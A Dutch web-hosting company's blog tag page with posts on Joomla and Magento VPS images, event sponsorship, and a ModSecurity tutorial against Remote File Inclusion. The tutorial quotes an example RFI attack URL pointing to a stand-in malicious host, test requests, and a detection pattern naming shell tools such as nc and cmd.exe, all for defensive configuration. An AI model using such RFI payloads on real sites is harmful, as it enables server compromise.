Weblog

Tag: joomla

door Bas onder VPS / Server Management | 0 comments

Vulnerability in Joomla plugin gevonden

Joomla is een van de populairste raamwerken voor het bouwen van websites. Dat succes heeft ook een keerzijde: Omdat het zoveel gebruikt wordt is het een aantrekkelijk platform om gaten in te vinden die kunnen worden misbruikt.

In de afgelopen weken zijn enkele kritieke zwakheden gevonden, die momenteel ook op grote schaal misbruikt worden. Een van de belangrijkste daarvan is een gat in de Joomla Content Editor (JCE), een populaire plugin voor Joomla.

Lees verder

door Leon onder News, VPS / Server Management | 0 comments

Geoptimaliseerd Magento CloudVPS Image

Online sales-cijfers zijn enorm gevoelig voor de snelheid van een site. Hiervoor hebben wij een geoptimaliseerde CloudVPS Image voor Magento beschikbaar. Dankzij dit product hebben wij inmiddels een groot aantal snelle webshops binnen onze cloud.

Wij werken op het gebied van Magento- en Joomla-optimalisatie samen met Jira ICT, de nummer één Magento trainer en consultant in Nederland. Nadat uw shop op de virtuele server draait zal Jira een gratis optimalisatieronde van een uur uitvoeren.

Lees verder

door Lennard onder VPS / Server Management | 0 comments

Update CloudVPS-image voor Magento/Joomla!

Omdat commerciële websites steeds sneller moeten zijn, brachten we vorig jaar februari een CloudVPS-image uit die volledig geoptimaliseerd was voor Magento en Joomla!. We ontwikkelden deze image samen met onze partner Jira ICT, de grootste Magento- en Joomla!-trainer en -consultant in Nederland. De image is nu een van onze populairste configuraties. Omdat er het afgelopen jaar veel ontwikkelingen zijn geweest brengen we nu een volledig nieuwe versie uit van deze geoptimaliseerde CloudVPS-image.

Wijzigingen
De belangrijkste wijziging is dat we van suphp zijn overgegaan op mod_ruid2. In de oorspronkelijke image hadden we suphp opgenomen omdat het helpt om bestandssysteemrechten te beheren door aan iedere gebruiker die een verzoek doet een uniek proces toe te wijzen. Dit kan echter tot vertragingen leiden omdat er op drukke momenten veel nieuwe processen zijn. Mod_ruid2 kent ook aan iedere gebruiker een proces toe, maar hier kunnen processen van gebruiker wisselen, zodat ze zichzelf niet hoeven te kopiëren wanneer de server zwaar wordt belast.

Lees verder

door Carlos onder OpenPanel, VPS / Server Management | 8 comments

XLS Hosting biedt openapp images

De XLS ontwikkelaars zijn de lead developers voor OpenPanel, een populair open source control panel. We merkten dat OpenPanel steeds vaker gebruikt wordt voor specifieke sites of applicaties, bijvoorbeeld een enkele druk bezocht Wordpress site of MySQL database.

Om dit makkelijk te maken heeft het OpenPanel team de OpenApp images ontwikkeld. Dit zijn geoptimaliseerde configuraties voor een enkele website of applicatie met een beperkte versie van OpenPanel. Vanuit deze OpenApp versie van OpenPanel kunnen enkele essentiële instellingen veranderd worden maar zaken als mail en dns moeten buiten de OpenApp omgeving geregeld worden. Het updaten van de configuratie en het maken van backups zijn makkelijk gemaakt.

De volgende configuraties zijn als package of als VMware Image op de OpenPanel site beschikbaar:

  • Wordpress
  • Joomla 
  • Ruby on Rails
  • MySQL

Deze images zullen vanaf vandaag door XLS Hosting worden aangeboden. Zij vervangen de Turnkey Linux images. Deze gebruikten het minder elegante Webmin control panel en waren ook enigzinds verouderd.

Er zullen snel OpenApp images bij komen, Drupal, Apache Tomcat and Symphony zijn waarschijnlijk als eerste aan de beurt. Ook gaat het op korte termijn mogelijk worden om backups en updates vanuit de interface te managen.

Probeer deze nieuwe configuraties uit en laat ons uw feedback en ideeën voor verdere verbetering weten.

door Carlos onder General | 1 comments

XLS Hosting sponsor Joomladagen

Dit weekend worden de de jaarlijkse Joomladagen gehouden in Conferentiecentrum Kaap Doorn. Webmasters en ontwikkelaars zullen naar een groot aantal sprekers kunnen luisteren over vele Joomla gerelateerde onderwerpen.

Jira ICT, onze partner op het gebied van Joomla en Magento optimalisatie, is met 3 sprekers goed vertegenwoordigd. Verder zal Ebo Eppenga van onze klant Exact Software een presentatie houden over zijn Joomla ervaringen. Mis deze presentaties zeker niet.

Omdat onze High Availability VPSen steeds vaker gebruikt worden voor serieuze Joomla sites wilden wij graag wat terugdoen voor de community. Daarom hebben wij besloten de Joomla dagen te sponsoren. Bezoekers van de Joomladagen kunnen ook twee maanden gratis een XLS VPS ter beschikking krijgen. Details zijn ter plekke beschikbaar..

Wij wensen alle bezoekers van de Joomla dagen een nuttig en leuk event!

door Carlos onder VPS / Server Management | 5 comments

Jira / XLS Optimised Magento en Joomla VPS

Performance is extreem belangrijk voor commerciële websites. Bezoekers blijven langer naarmate een site sneller is en Google heeft snelheid nu zelfs een factor in de pagerank-berekening gemaakt. Om de hoogste snelheid voor uw hosting te kunnen faciliteren is XLS Hosting een partnership aangegaan met Jira de nummer 1 Magento- en Joomla-consultant.

XLS Hosting biedt de meest stabiele en flexibele hostinginfrastructuur voor zakelijke sites. Voor webshops hadden wij al een geoptimaliseerde Magento-image beschikbaar. De performance kon echter nog beter, zeker in situaties waarbij er na het plaatsen van de website nog gedetailleerde expertise en advies nodig was.

Jira houdt zich al sinds 2005 bezig met Joomla! en vanaf 2008 met Magento. De Magento Maatwerk Workshop is 2 jaar op een rij door het tijdschrift “Winmag Pro” onderscheiden met de MKB Best Choice Award. Hiernaast biedt Jira consultancy en optimalisatie voor bestaande shops en ontwikkelen ze populaire extensies die via hun label Yireo aangeboden worden. De bekendste van deze extensies is Magebridge, een elegante bridge tussen Joomla en Magento.

De afgelopen weken heeft Jira voor Magento, Joomla!, en Magebridge high performance-configuraties samengesteld. Deze images zijn gebaseerd op het Direct Admin-control panel, met Installatron voor het installeren en updaten van de applicaties. De veranderingen die vooraf aan de configuratie zijn gedaan staan in onze wiki beschreven.

Nadat de site draait is er nog een reeks maatregelen mogelijk. Jira zal gratis 1 uur besteden om nog enkele handmatige optimalisaties toe te passen en een advies geven over verdere verbeteringen. Deze kunnen vervolgens door Jira geïmplementeerd worden.

Hieronder staan voorbeelden en performance-analyses van de verschillende images beschreven.

Jira - XLS Optimised Magento VPS

Snelheid voorbeeldsite: max 500 msec per request 
GTmetrix raport: http://gtmetrix.com/reports/www.magento-speed.com/1BDfrJ5X

Jira - XLS Optimised Joomla! VPS

Snelheid voorbeeldsite: max 200 msec per request
GTmetrix raport: http://gtmetrix.com/reports/www.joomla-speed.com/bMtSFvQP

Jira - XLS Optimised Magebridge VPS

Snelheid voorbeeldsite: max 300 msec per request 
GTmetrix raport: http://gtmetrix.com/reports/www.magebridge-speed.com/x0WyXgxq

Onze samenwerking met Jira heeft nog meer voordelen. Zij geven namelijk ook de beste trainingen op het gebied van Magento en Joomla!. Als u een Magento VPS bij ons bestelt heeft u recht op korting bij één van deze trainingen, lees meer op onze wiki.

Bestel uw geoptimaliseerde VPS door naar de XLS bestelpagina te gaan en vervolgens voor een Applicatie VPS te kiezen.

door Carlos onder VPS / Server Management | 1 comments

ModSecurity VS Remote File Inclusion

Veel VPS of servergebruikers zijn wel eens tegen het fenomeen 'Gehackte Joomla' of 'Gehackte PHPbb' aangelopen en hebben in de logfiles regels gezien waarbij Remote File Inclusion (RFI) te detecteren is. Bijvoorbeeld: http://jouw-joomlasite.nl/index.php?page=http://evilsite.com/code.php

Remote File Inclusion is een methode waarbij de aanvaller probeert een bestand met gevaarlijke code door een webapplicatie op de server van het slachtofer uit te laten voeren. De aanvaller zal dit doen door een url als waarde in te voeren in een variabele of parameter van de webapplicatie. Deze url verwijst vervolgens naar de gevaarlijke code die de webapplicatie in haar eigen code zal "includen" op het moment dat de url door het programma wordt aangeroepen.

Wanneer webapplicatie-programmeurs hier op bedacht zijn, dan is er niet zo veel aan de hand. Een url zoals hierboven beschreven kan dan geen kwaad aangezien de code van de software al rekening houdt met dit soort aanvallen en alle variabelen die eventueel zouden kunnen worden gemanipuleerd, worden dan automatisch ontdaan van dit soort waarden. In de praktijk gebeurt dit echter vaak niet. Vaak zijn grote webapplicaties niet meer het domein van 1 programmeur, zodat de kans groter is dat er op dit gebied missers worden gemaakt en gaten vallen in de software.

Ivan Ristic was zich hier in 2001 al goed van bewust en probeerde met bestaande tools dergelijke urls te herkennen om ze vervolgens met slimme mod_rewrite statements onschadelijk te maken. Al snel waren combinaties van bestaande middelen niet meer genoeg, waardoor hij in 2003 is begonnen aan ModSecurity.

ModSecurity is een Apache module die werkt als een Application Firewall: 
Deze module scant het HTTP verkeer en vergelijkt dat verkeer met een "rule" in de mod_security configuratie. Vervolgens wordt aan de hand van deze vergelijking besloten of het gescande HTTP verkeer wordt toegelaten of geblokkeerd. Het voordeel van ModSecurity is dat het ook de inhoud van HTTP verkeer scant, zodat je op een dieper niveau verkeer kan tegenhouden.

Versie 2 van ModSecurity heeft met zijn CoreRules een basisset aan regels gemaakt die de meest voorkomende aanvallen tegenhoudt, waardoor het out-of-the-box makkelijker wordt om veelgebruikte aanvallen tegen te houden.

Door de flexibele opzet van ModSecurity zijn er goede regels te maken die ongewild HTTP verkeer tegenhouden. Op het internet zijn veel van dit soort rules te vinden die mensen hebben samengesteld om hun server te beschermen tegen aanvallen op webapplicaties. Het formuleren van een mod_security regel die RFI stopt kan simpel zijn als:

SecRule ARGS|ARGS_NAMES "^http:/"

Deze rule houdt al het HTTP-verkeer tegen waarbij een variabele waarde (ARGS) begint met 'http://'. Hierdoor vormen RFI-url's geen bedreiging meer omdat ze door ModSecurity worden tegengehouden voordat ze bij de webapplicatie kunnen komen.

Lees verder om een installatie how-to te lezen.

We gaan in onderstaande voorbeeld uit van een standaard CentOS 5.2 configuratie zonder control panel. XLS klanten kunnen contact met ons opnemen voor meer informatie over de installatieprocedure van ModSecurity als er wel een control panel gebruikt wordt. We gaan er tevens van uit dat je als root via SSH bent ingelogd op de VPS. Het inloggen op de VPS kan ook via onze consoletoegang.

Installeren van ModSecurity

Op de download pagina van modsecurity.org staan links naar de sourcecode en repo's voor de verschillende platformen.

http://sourceforge.net/projects/mod-security/files/modsecurity-apache/2.5.7/modsecurity-apache_2.5.7.tar.gz/downloadWe gebruiken niet de repo van Jason Litka. Je zou in dat geval versie mod_security-2.1.4-1.jason.2.x86_64 moeten installeren om ModSecurity te laten werken. Bij een volgende (yum) update zal ModSecurity willen upgraden naar mod_security-2.5.0.jason.2.x86_64. Deze versie is tegen een andere apache-versie ge-compiled dan de apache die standaard met CentOS wordt meegeleverd. Hierdoor zal apache niet meer willen starten na het installeren van ModSecurity.

Installatie van source

Download de tar.gz van http://www.modsecurity.org/download/direct.html modsecurity-apache_2.5.7.tar.gz en de MD5 sum naar een directory op de server:

mkdir /usr/local/src/
cd /usr/local/src/
wget http://www.modsecurity.org/download/modsecurity-apache_2.5.7.tar.gz
wget http://www.modsecurity.org/download/modsecurity-apache_2.5.7.tar.gz.md5

Vergelijk de md5sum van de download met de md5sum die net is gedownload van de website:

md5sum modsecurity-apache_2.5.7.tar.gz && cat modsecurity-apache_2.5.7.tar.gz.md5

Hier zou 2x de zelfde regel moeten uitkomen (bijvoorbeeld):

049509c4d76048ce02cfb558d6598761  modsecurity-apache_2.5.7.tar.gz
049509c4d76048ce02cfb558d6598761  modsecurity-apache_2.5.7.tar.gz

Nu weet je zeker dat het file dat u gedownload heeft hetzelfde is als het originele file. Untar en gunzip de tarball:

tar -zxvf modsecurity-apache_2.5.7.tar.gz

Zorg ervoor dat je minstens de development packages hebt van pcre, libxml2 en curl:

yum install pcre-devel.x86_64 libxml2-devel.x86_64 curl-devel.x86_64

Het configureren en compilen van de source code kan zonder extra parameters mee te geven:

cd /usr/local/src/modsecurity-apache_2.5.7/apache
./configure
make && make install

Vervolgens maken we een directory aan voor de modsecurity rulesets en kopieren de meegeleverde CoreRules naar deze directory:

mkdir /etc/httpd/modsecurity.d
cp -v /usr/local/src/modsecurity-apache_2.5.7/rules/*.conf
/etc/httpd/modsecurity.d/

httpd.conf aanpassen

Voeg de volgende regel aan de loadmodules-sectie toe:

LoadModule security2_module modules/mod_security2.so

Indien unique_id_module niet automatisch geladen wordt dan deze ook toevoegen:

LoadModule unique_id_module modules/mod_unique_id.so

Tevens (iets verder daar onder) bij Include conf.d/*.conf:

Include modsecurity.d/*.conf

Test of alles goed gaat en herstart de webserver:

apachectl configtest
service httpd restart

Met de default-instellingen worden alle exceptions gelogd maar wordt er nog geen actie ondernomen om het request te blokkeren. Op deze manier kan eerst getest worden of mod_security goed werkt.

Om te testen of mod_security de juiste requests blokeert, zet je een tail op de debug logfile (tail -f /var/log/httpd/modsec_debug.log ) en surf je naar bijvoorbeeld http://eenwebsite.nl/cmd.exe

Je zou dan in de logfile iets moeten zien als:

[dd/mm/yyyy:HH:mm:ss +0200] [eenwebsite.nl/sid#5555558f86e0]
[rid#555555c92f88][/cmd.exe][1] Access denied with code 501 (phase 2).
Pattern match
"\b(?:n(?:map|et|c)|w(?:guest|sh)|cmd(?:32)?|telnet|rcmd|ftp)\.exe\b"
at REQUEST_FILENAME.
[file "/etc/httpd/modsecurity.d/modsecurity_crs_40_generic_attacks.conf"]
[line "123"] [id "950002"] [msg "System Command Access"] [data "cmd.exe"]
[severity "CRITICAL"] [tag "WEB_ATTACK/FILE_INJECTION"]

User defined rules

Wanneer je zelf mod_security rules wil toevoegen, maak dan de file

/etc/httpd/modsecurity.d/user_defined_rules.conf

Zet in deze file je eigen rules. Wil je bijvoorbeeld alle remote file inclusion urls afvangen dan kan je in deze file toevoegen:

SecRule ARGS|ARGS_NAMES "^http:/"

Vergeet niet na ieder aanpassing van een rule of na het toevoegen van een nieuwe rule de webserver te herstarten:

service httpd restart

Surf nu naar je website met in een argument een http adres:

http://eenwebsite.nl/?somearg=http://rfi.example.com

Je zou nu in de logfile moeten zien:

[dd/mm/yyyy:HH:mm:ss +0200] [eenwebsite.nl/sid#555555a07c20]
[rid#555555d6fdf8][/index.php][1] Access denied with code 403 (phase 2).
Pattern match "^http:/" at ARGS:somearg.
[file "/etc/httpd/modsecurity.d/userdefined_rules.conf"] [line "1"]

Wanneer je meer wilt loggen in de logfile kan je dit doen door er verschillende directives aan mee te geven:

SecRule ARGS|ARGS_NAMES "^http:/" \
"phase:2,deny,status:406,log,auditlog,msg:'RFI',tag:'REMOTE_FILE_INCLUSION'"

Vervolgens zie je in de logfile:

[dd/mm/yyyy:HH:mm:ss +0200] [eenwebsite.nl/sid#555555a06620]
[rid#555555d73c98][/][1] Access denied with code 406 (phase 2).
Pattern match "^http:/" at ARGS:somearg.
[file "/etc/httpd/modsecurity.d/userdefined_rules.conf"] [line "2"]
[msg "RFI"][tag "REMOTE_FILE_INCLUSION"]

Dit kan handig zijn als je met een script de logfiles parst op bijvoorbeeld de tags, zodat je bijv. een mail kan genereren met daarin een overzicht van het aantal maal dat tags voorkomen in de logfiles. Hierdoor kan je een beter inzicht krijgen in wat er op de server gebeurd.

Uitzonderingen op de regel

Niet ieder request waar "http://" in voorkomt is ongeldig. Bijvoorbeeld wanneer er een redirect naar een pagina wordt getriggerd met het adres van die pagina in de url. Om er nu voor te zorgen dat voor zo'n pagina de RFI regel niet werkt, knopen we door middel van het chain keyword een rule aan onze RFI rule waardoor die pagina niet matcht. Wanneer er sprake is van een chain dan wordt de rule alleen uitgevoerd wanneer alle onderdelen van de chain positief scoren.

Wanneer je bijvoorbeeld een wordpress blog draait en je wilt wel kunnen inloggen, ook als je naar de url http://jouwblog.nl/wp-admin/ surft (deze triggert een redirect naar http://jouwblog.nl/wp-login), dan kan je de user_defined_rule voor RFI aanpassen naar:

SecRule ARGS|ARGS_NAMES "^http:/" \
  "chain,phase:2,deny,status:406,log,auditlog,msg:'RFI detected'"
SecRule REQUEST_FILENAME !wp-login.php

de RFI actie zal nu niet worden uitgevoerd wanneer wp-login wordt aangeroepen, ook al zit er http:// in de url.

Klaar met testen

Wanneer je klaar bent met testen kan je de comment voor regel 103 in modsecurity_crs_10_config.conf weghalen

  SecDefaultAction "phase:2.....

Vanaf het moment dat je de comment voor de regel hebt weggehaald en de webserver hebt herstart, zullen hits op de rules ook werkelijk resulteren in Error pagina's.

Host-based uitzonderingen maken op ModSecurity

Om ervoor te zorgen dat je op een VPS of server die WordPress draait nog kan blijven posten, kan je in een .htaccess-file of in de vhost-configuratie van de site een LocationMatch toevoegen. Hiermee wordt het filter dat posten tegen zou houden weggehaald:

<LocationMatch "/wp-admin/post.php">
          SecRuleRemoveById XXXXXX
</LocationMatch>

Waarbij XXXXX het id is van van de uitgevoerde rule. Deze kan je makkelijk vinden in de logfile, bijv.: [id "950907"] Wij hebben bijvoorbeeld voor het blog, om de cron te laten werken, de volgende rules moeten toevoegen in de VirtualHost config:

<LocationMatch "/wp-cron.php">
        Order Deny,Allow
        Allow From 79.170.90.14
        Allow From 127.0.0.1
        SecRuleRemoveById 960015
        SecRuleRemoveById 960009
</LocationMatch>

Tot slot

Met deze installatie instructie gebruik je de basisinstellingen van ModSecurity. Alhoewel deze je VPS tegen de bekendste aanvallen zal beschermen, wil dit nog niet zeggen dat je nu niet meer hoeft om te kijken naar de veiligheid van je VPS of dat deze standaard ruleset aansluit bij de software van de VPS (zie hoe wij aanpassingen hebben moeten doen om ons blog te kunnen blijven gebruiken).

Er zijn op het internet veel voorbeelden te vinden van mod_security rules die je server kunnen beschermen tegen specifieke aanvallen Neem niet klakkeloos een rule over die je op het internet vindt, maar test de rule eerst door bijvoorbeeld de "phase:2..." regel te vervangen door een "phase:1,log,auditlog,allow,tag:'TEST_RULE'". Hierdoor wordt een hit op de rule alleen gelogt en kan je zelf proberen deze nieuwe rule te triggeren. Goede documentatie en uitleg wat de verschillende parameters en directives betekenen in een ModSecurity rule kan je vinden op de website van ModSecurity zelf: http://www.modsecurity.org/documentation/.

VPS Bestellen
VPS Bestellen